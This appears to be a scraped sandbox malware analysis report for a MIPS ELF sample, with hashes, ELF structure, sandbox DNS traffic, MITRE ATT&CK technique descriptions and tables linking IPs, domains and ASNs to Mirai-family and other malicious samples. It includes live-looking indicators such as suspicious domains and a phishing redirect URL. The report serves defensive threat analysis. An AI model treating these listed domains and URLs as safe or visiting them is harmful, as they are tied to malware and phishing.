123.181.138.50	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
219.213.94.226	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
141.95.83.240	unknown	Germany	680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	false
201.59.14.214	unknown	Brazil	7738	TelemarNorteLesteSABR	false
71.120.34.159	unknown	United States	701	UUNETUS	false
131.208.165.80	unknown	United States	14348	URI-ASUS	false
130.93.48.116	unknown	France	25540	ALPHALINK-ASFR	false
7.148.63.40	unknown	United States	3356	LEVEL3US	false
96.125.86.175	unknown	United States	2055	LSU-1US	false
153.100.185.177	unknown	Germany	21207	RWEEssenGermanyDE	false
130.29.1.207	unknown	United States	367	DNIC-ASBLK-00306-00371US	false
125.24.221.134	unknown	Thailand	23969	TOT-NETTOTPublicCompanyLimitedTH	false
101.25.54.251	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
222.66.105.126	unknown	China	4812	CHINANET-SH-APChinaTelecomGroupCN	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
1.91.193.158	VWOm7n5MsV.elf	Get hash	malicious	Unknown	Browse
	muWLyuoSuB.elf	Get hash	malicious	Mirai	Browse
	HfHdILcWam.dll	Get hash	malicious	Wannacry	Browse
182.108.83.186	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ohlookthereismyboats.geek	nabspc.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	nklppc.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	zerspc.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
	zersh4.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
	jklarm5.elf	Get hash	malicious	Unknown	Browse	104.248.47.182
	jklx86.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	nklx86.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
	nklarm7.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
	nabarm5.elf	Get hash	malicious	Unknown	Browse	45.147.251.145
	zerarm.elf	Get hash	malicious	Unknown	Browse	185.220.204.227
watchmepull.dyn	zersh4.elf	Get hash	malicious	Unknown	Browse	45.147.251.145

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ASN-IDCTNOOMINCIT	sora.arm.elf	Get hash	malicious	Mirai	Browse	81.125.160.125
	resgod.sh4.elf	Get hash	malicious	Mirai	Browse	156.54.221.254
	jklarm7.elf	Get hash	malicious	Unknown	Browse	81.125.160.165
	splspc.elf	Get hash	malicious	Unknown	Browse	156.55.64.16
	5r3fqt67ew531has4231.arm7.elf	Get hash	malicious	Mirai, Okiru	Browse	156.54.221.248
	5r3fqt67ew531has4231.spc.elf	Get hash	malicious	Mirai, Okiru	Browse	156.55.64.43
	cbr.x86.elf	Get hash	malicious	Mirai	Browse	81.119.247.71
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	81.119.247.79
	sh4.elf	Get hash	malicious	Unknown	Browse	156.54.221.244
	yakov.ppc.elf	Get hash	malicious	Mirai	Browse	81.119.178.117
ATT-INTERNET4US	nabspc.elf	Get hash	malicious	Unknown	Browse	68.213.99.107
	jklarm5.elf	Get hash	malicious	Unknown	Browse	99.179.247.135
	jklx86.elf	Get hash	malicious	Unknown	Browse	69.107.131.173
	nklx86.elf	Get hash	malicious	Unknown	Browse	74.232.248.137
	nklarm7.elf	Get hash	malicious	Unknown	Browse	108.210.69.108
	nabarm5.elf	Get hash	malicious	Unknown	Browse	72.148.96.213
	resgod.ppc.elf	Get hash	malicious	Mirai	Browse	76.207.95.104
	resgod.arm5.elf	Get hash	malicious	Mirai	Browse	76.239.215.98
	resgod.mips.elf	Get hash	malicious	Mirai	Browse	168.71.201.25
	resgod.sh4.elf	Get hash	malicious	Mirai	Browse	76.245.104.219
AMAZON-02US	nabspc.elf	Get hash	malicious	Unknown	Browse	52.56.246.47
	nklppc.elf	Get hash	malicious	Unknown	Browse	3.156.135.69
	jklarm5.elf	Get hash	malicious	Unknown	Browse	54.111.233.97
	jklx86.elf	Get hash	malicious	Unknown	Browse	35.163.61.25
	nklx86.elf	Get hash	malicious	Unknown	Browse	63.32.73.88
	https://oncontact.nercon.com/crm10/api/public/runworkflow?workflow=ClickThru&profile=nercon&activityid=https://gamma.app/docs/SharePoint-File-Received-lb8vste5j00wp3ymode=doc&drivingentityid=O7YVGH9H2E&entityname=Contact&contactid=O7YVGH9H2E&includecrmkeys=True&eventcode=CLICKSITE&redirecturl=https://gamma.app/docs/SharePoint-File-Received-lb8vste5j00wp3y	Get hash	malicious	Unknown	Browse	18.245.46.19
	nklarm7.elf	Get hash	malicious	Unknown	Browse	18.244.62.226
	INVITATION TO BID PROJECT.pdf	Get hash	malicious	Unknown	Browse	52.222.232.144
	na.elf	Get hash	malicious	Prometei	Browse	52.212.150.54
	https://h30434.www3.hp.com/t5/Printer-Setup-Software-Drivers/HP-Easy-Start-cant-find-my-printer/td-p/7028281	Get hash	malicious	Unknown	Browse	99.86.4.74
CELLCOUS	jklarm5.elf	Get hash	malicious	Unknown	Browse	166.151.150.106
	jklx86.elf	Get hash	malicious	Unknown	Browse	166.246.142.171
	nklx86.elf	Get hash	malicious	Unknown	Browse	96.12.93.174
	nklarm7.elf	Get hash	malicious	Unknown	Browse	97.31.92.67
	nabarm5.elf	Get hash	malicious	Unknown	Browse	72.115.230.81
	resgod.sh4.elf	Get hash	malicious	Mirai	Browse	97.47.196.115
	hoho.arm7.elf	Get hash	malicious	Mirai	Browse	166.250.69.193
	hoho.mpsl.elf	Get hash	malicious	Unknown	Browse	174.246.206.186
	hoho.mips.elf	Get hash	malicious	Unknown	Browse	75.217.32.65
	huawei.elf	Get hash	malicious	Mirai	Browse	166.144.196.219

Process:	/tmp/splmips.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	255
Entropy (8bit):	3.2197479232516066
Encrypted:	false
SSDEEP:	6:URYNDF8L0Y/VUS/FYDFDCY/VDM/V+4D/VH:IYt9S/FQRRMfF
MD5:	26701E4951C9439DA7FBDEAFE4B4BA79
SHA1:	26BF85C6086FA9FF43B1A0F7913D9DAF895A6C03
SHA-256:	1A2A341627EB37F05FC3C56521ABF9CB9454F389751CD4B71E1BA5A583564DAC
SHA-512:	6FBAC058CF806DEEEBDEDD3F76C7D5F5CDF748B222E03F3767EA5127FFAC0B685E7857A0C9446D76F825410A90CB14035D50CA36BF03803C6CC257684CBD8A17
Malicious:	false
Reputation:	low
Preview:	400000-414000 r-xp 00000000 fd:00 531606 /tmp/..453000-454000 rw-p 00013000 fd:00 531606 /tmp/..454000-456000 rw-p 00000000 00:00 0 .7f7ff000-7f800000 ---p 00000000 00:00 0 .7f800000-80000000 rw-p 00000000 00:00 0 [stack].

Source: splmips.elf	Virustotal: Detection: 29%			Perma Link
Source: splmips.elf	ReversingLabs: Detection: 33%

File type:	ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.4931515319716535
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	splmips.elf
File size:	80'552 bytes
MD5:	021cd79573ca5b9cbecf960a6c64f993
SHA1:	bfa52ca5dfe5eef854908dcf0b6a1c73b1fde02d
SHA256:	87560f13dc2702b1419369b12fdde38f1d0cc5c2a8d54af965e344a742772c7a
SHA512:	97e1d9fb8db1b292d6c07246d07cddfa2fb79c740a15150d94a00825375d60bd8b16d4a39b1489bdef66736df0619cff2ca686b18dd2b0039f7d74e0875855a5
SSDEEP:	1536:egZz3wfZ9ormOD9yhufumxqvXmUFHLOtWrp4xqFu8zGhVXPbbBRvA:lz389C/seumxqvWUFHmWrFFu8zUVXPbE
TLSH:	B173A71A3E21DFADFB6C863687B78E219748339136E1C585E16CED015E6034D681FBAC
File Content Preview:	.ELF.....................@.`...4..8P.....4. ...(.............@...@....1@..1@..............1D.E1D.E1D.......d........dt.Q............................<...'..\|...!'.......................<...'..X...!... ....'9... ......................<...'..(...!........'9!

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	79952
Section Header Size:	40
Number of Section Headers:	15
Header String Table Index:	14

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x120c0	0x0	0x6	AX	16
.fini	PROGBITS	0x4121e0	0x121e0	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x412240	0x12240	0xf00	0x0	0x2	A	16
.ctors	PROGBITS	0x453144	0x13144	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x45314c	0x1314c	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x453154	0x13154	0x4	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x453158	0x13158	0xec	0x0	0x3	WA	4
.data	PROGBITS	0x453250	0x13250	0x1d0	0x0	0x3	WA	16
.got	PROGBITS	0x453420	0x13420	0x3c4	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x4537e4	0x137e4	0x1c	0x0	0x10000003	WAp	4
.bss	NOBITS	0x453800	0x137e4	0x12a8	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x786	0x137e4	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x137e4	0x69	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x13140	0x13140	5.5104	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x13144	0x453144	0x453144	0x6a0	0x1964	4.0418	0x6	RW	0x10000	.ctors .dtors .jcr .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 19, 2025 19:42:08.680389881 CET	60934	53	192.168.2.23	152.53.15.127
Mar 19, 2025 19:42:08.703658104 CET	53	60934	152.53.15.127	192.168.2.23
Mar 19, 2025 19:42:19.924065113 CET	55864	53	192.168.2.23	168.235.111.72
Mar 19, 2025 19:42:20.040241003 CET	53	55864	168.235.111.72	192.168.2.23
Mar 19, 2025 19:42:31.630404949 CET	47559	53	192.168.2.23	51.158.108.203
Mar 19, 2025 19:42:31.645912886 CET	53	47559	51.158.108.203	192.168.2.23
Mar 19, 2025 19:42:43.284015894 CET	45951	53	192.168.2.23	202.61.197.122
Mar 19, 2025 19:42:43.302459955 CET	53	45951	202.61.197.122	192.168.2.23

Start time (UTC):	18:42:05
Start date (UTC):	19/03/2025
Path:	/tmp/splmips.elf
Arguments:	/tmp/splmips.elf
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Start time (UTC):	18:42:06
Start date (UTC):	19/03/2025
Path:	/tmp/splmips.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Start time (UTC):	18:42:07
Start date (UTC):	19/03/2025
Path:	/tmp/splmips.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

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Linux Analysis Report splmips.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.0gAVxR (deleted)

/tmp/qemu-open.1lb7XQ (deleted)

/tmp/qemu-open.1nZGFQ (deleted)

/tmp/qemu-open.2UuTPQ (deleted)

/tmp/qemu-open.2WSMKP (deleted)

/tmp/qemu-open.3bV0gP (deleted)

/tmp/qemu-open.3gcFBP (deleted)

/tmp/qemu-open.42QqCR (deleted)

/tmp/qemu-open.4m9vCO (deleted)

/tmp/qemu-open.6ovKhO (deleted)

/tmp/qemu-open.706UPP (deleted)

/tmp/qemu-open.7CSnPN (deleted)

/tmp/qemu-open.7KSZSP (deleted)

/tmp/qemu-open.7nYlfN (deleted)

/tmp/qemu-open.7qA9PQ (deleted)

/tmp/qemu-open.819LJR (deleted)

/tmp/qemu-open.8ZnaDP (deleted)

/tmp/qemu-open.9a4O6N (deleted)

/tmp/qemu-open.9vUDkQ (deleted)

/tmp/qemu-open.AWvnPP (deleted)

/tmp/qemu-open.AjDaPQ (deleted)

/tmp/qemu-open.Azy9uR (deleted)

/tmp/qemu-open.B36bFQ (deleted)

/tmp/qemu-open.B3AxlN (deleted)

/tmp/qemu-open.Bl9SrP (deleted)

/tmp/qemu-open.C8LaTO (deleted)

/tmp/qemu-open.COcA9N (deleted)

/tmp/qemu-open.CeYWsN (deleted)

/tmp/qemu-open.D8m0GR (deleted)

/tmp/qemu-open.Dc2OKP (deleted)

/tmp/qemu-open.EkXdRO (deleted)

/tmp/qemu-open.ErUCzO (deleted)

/tmp/qemu-open.F26fZP (deleted)

/tmp/qemu-open.F2bEGN (deleted)

/tmp/qemu-open.F3tnpN (deleted)

Linux Analysis Report
splmips.elf